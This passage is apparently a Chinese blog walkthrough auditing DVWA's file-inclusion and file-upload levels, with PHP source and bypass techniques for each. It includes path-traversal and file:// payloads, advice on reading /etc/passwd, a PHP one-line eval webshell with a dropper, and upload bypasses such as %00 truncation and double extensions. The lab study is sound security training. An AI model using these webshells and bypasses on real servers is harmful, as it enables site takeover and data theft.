    // The page we wish to display
    $file $_GET'page' ];

    // Input validation
    $file str_replace( array( "http://""https://" ), ""$file );
    $file str_replace( array( "../"".."" ), ""$file );

    ?>

    增加了str_replace()函数,把传入的url里面的http,https,../,..  替换成空格,但是使用str_replace函数是不安全的,因为可以使用双写绕过替换规则

    比如:http和https可以用hthttp://tp:给绕过,因为只是过滤了../和..,所以可以用绝对路径进行绕过:?page=./..././..././../php.ini

    选择high级别,看下代码

    <?php

    // The page we wish to display
    $file $_GET'page' ];

    // Input validation
    if( !fnmatch"file*"$file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }

    ?>

    使用了fnmatch函数:fnmatch() 函数根据指定的模式来匹配文件名或字符串。

    检查page参数,要求page参数的开头必须是file开头,服务器才回去包含,但是我们可以利用file协议绕过防护策略,然后再进行包含

    payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini

     最后看一下impossiable级别的代码

    <?php

    // The page we wish to display
    $file $_GET'page' ];

    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }

    ?>

    可以看到代码很简洁,page参数只能是"include.php","file1.php","file2.php","file3.php"

     否则直接exit。彻底不能文件包含了。

    最后的最后再分享个文件包含的渗透小技巧

    ***读取敏感文件是文件包含漏洞的主要利用方式之一,比如服务器采用Linux系统,而用户又具有相应的权限,那么就可以利用文件包含漏洞去读取/etc/passwd文件的内容。

    系统中常见的敏感信息路径如下:windows系统

    linux系统

    ***文件包含漏洞的主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。
    比如,在记事本中写入下面这段代码,并将之保存成jpg文件。

    <?php
    fwrite(fopen("orange.php","w"),'<?php @eval($_POST[orange]);?>');
    ?>

    可以成功进行包含,并且得到了一个orange.php一句话木马文件,密码是orange。进而进行下一步攻击。

    文件上传审计

    其实个人认为文件上传黑盒测试的时候姿势特别多,白盒测试的时候除了明显的限制上传文件的类型外,白盒审计不如黑盒测试来的"刺激"。

    文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。

    上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行。

    (1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用。

    (2) 黑名单扩展名过滤:限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)

    (3) 文件头 content-type验证绕过:getimagesize()函数:验证文件头只要为GIF89a,就会返回真。限制$_FILES["file"]["type"]的值 就是人为限制content-type为可控变量。

    (4)过滤不严或被绕过:比如大小写问题,网站只验证是否是小写,我们就可以把后缀名改成大写。

    (5)文件解析漏洞:比如 Windows 系统会涉及到这种情况:文件名为1.php;.jpg,IIS 6.0 可能会认为它是jpg文件,但是执行的时候会以php文件来执行。我们就可以利用这个解析漏洞来上传。再比如 Linux 中有一些未知的后缀,比如a.php.xxx。由于 Linux 不认识这个后缀名,它就可能放行了,攻击者再执行这个文件,网站就有可能被控制。

    (6)路径截断:就是在上传的文件中使用一些特殊的符号,使文件在上传时被截断。比如a.php%00.jpg,这样在网站中验证的时候,会认为后缀是jpg,但是保存到硬盘的时候会被截断为a.php,这样就是直接的php文件了。常用来截断路径的字符是:  , ?  ,  %00  ,   也可以超长的文件路径造成截断。

    (4)等等等等,以后慢慢补充

    忘了编译器了,编辑器漏洞和文件上传漏洞原理一样,只不过多了一个编辑器。上传的时候还是会把我们的脚本上传上去。不少编译器本身就存在文件上传漏洞,举个栗子:进入网站后台后如果找不到上传的地方或者其他姿势不好使的时候,就可以从编译器下手进行上传,从而GETSHELL。常见的编译器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各种编译器利用的相关姿势。网上很多这里就不写了。

    先了解一下PHP通过$_FILES对象来读取文件,以便于下面的理解

    PHP中通过$_FILES对象来读取文件,通过下列几个属性:

    • $_FILES[file]['name'] - 被上传文件的名称。

    • $_FILES[file]['type'] - 被上传文件的类型。

    • $_FILES[file]['size'] - 被上传文件的大小(字节)。

    • $_FILES[file]['tmp_name'] - 被上传文件在服务器保存的路径,通常位于临时目录中。

    • $_FILES[file]['error'] - 错误代码,0为无错误,其它都是有错误。

    DVWA分析

    选择low级别,先进行黑盒测试一下,直接上传个php一句话:<?php @eval($_POST["orange"]); ?>

    看到上传成功,路径(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),

     看一下代码

    <?php

    if( isset( $_POST'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
        $target_path .= basename$_FILES'uploaded' ][ 'name' ] );

        // Can we move the file to the upload folder?
        if( !move_uploaded_file$_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }

    ?>

     不懂上面的函数什么意思可以百度一下,

    basename()函数:basename(path,suffix)   ,    basename() 函数返回路径中的文件名部分。如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file()函数:move_uploaded_file(file,newloc)    ,   move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

    分析:DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES['uploaded']['name'])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。

    可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,所以可以上传任意文件,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

     

     

    选择mediem级别,看下代码

    <?php

    if( isset( $_POST'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
        $target_path .= basename$_FILES'uploaded' ][ 'name' ] );

        // File information
        $uploaded_name $_FILES'uploaded' ][ 'name' ];
        $uploaded_type $_FILES'uploaded' ][ 'type' ];
        $uploaded_size $_FILES'uploaded' ][ 'size' ];

        // Is it an image?
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
            ( $uploaded_size 100000 ) ) {

            // Can we move the file to the upload folder?
            if( !move_uploaded_file$_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }

    ?>

    可以看到对上传的类型和大小加以限制,限制文件类型必须是image/jpeg和image.png,并且上传文件的大小小于100000(97.6KB)

    但是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可

    我们可以通过burpsuite抓包修改文件类型,具体如下图所示,通过抓包上传upload.php,把.php文件成功上传(上传的png文件是小于97.6KB的)

    注:这里也是可以利用%00截断上传,讲下图中的upload.png改成upload.php%00.png就可以突破限制,成功上传。

    选择high级别,看下代码

    <?php

    if( isset( $_POST'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
        $target_path .= basename$_FILES'uploaded' ][ 'name' ] );

        // File information
        $uploaded_name $_FILES'uploaded' ][ 'name' ];
        $uploaded_ext  substr$uploaded_namestrrpos$uploaded_name'.' ) + 1);
        $uploaded_size $_FILES'uploaded' ][ 'size' ];
        $uploaded_tmp  $_FILES'uploaded' ][ 'tmp_name' ];

        // Is it an image?
        if( ( strtolower$uploaded_ext ) == "jpg" || strtolower$uploaded_ext ) == "jpeg" || strtolower$uploaded_ext ) == "png" ) &&
            ( $uploaded_size 100000 ) &&
            getimagesize$uploaded_tmp ) ) {

            // Can we move the file to the upload folder?
            if( !move_uploaded_file$uploaded_tmp$target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }

    ?>

    分析:strrpos(string,find,start)

    函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

    getimagesize(string filename)

    函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

    可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

    用图片马进行绕过,抓包修改,把"phptupianma.png"改为"phptupianma.php.png"

    在本来的文件名的文件名称和后缀名之间加上php的后缀形式,使其位于中间位置,以便于使其在服务器端当作php文件来执行,这样就可以成功上传。

    还有其他漏洞类型的审计,以后会慢慢补充......

    上面所写到的工具和环境都分享在云盘里面(链接: https://pan.baidu.com/s/1pLr7w6Z 密码: r326)

    本文链接(http://www.cnblogs.com/Oran9e/p/7763751.html),转载请注明。

  • 相关阅读:
    mysql常用基本命令
    mysql8.0.13下载与安装图文教程
    k8s ingress 增加跨域配置
    Jenkins 备份恢复插件 thinBackup 使用
    k8s HA master 节点宕机修复
    nginx 跨域问题解决
    mongodb 3.4.24 主从复制
    k8s 线上安装 jenkins并结合 jenkinsfile 实现 helm 自动化部署
    k8s helm 运用与自建helm仓库chartmuseum
    centos6 源码安装 unzip
  • 原文地址:https://www.cnblogs.com/Oran9e/p/7763751.html
Copyright © 2011-2022 走看看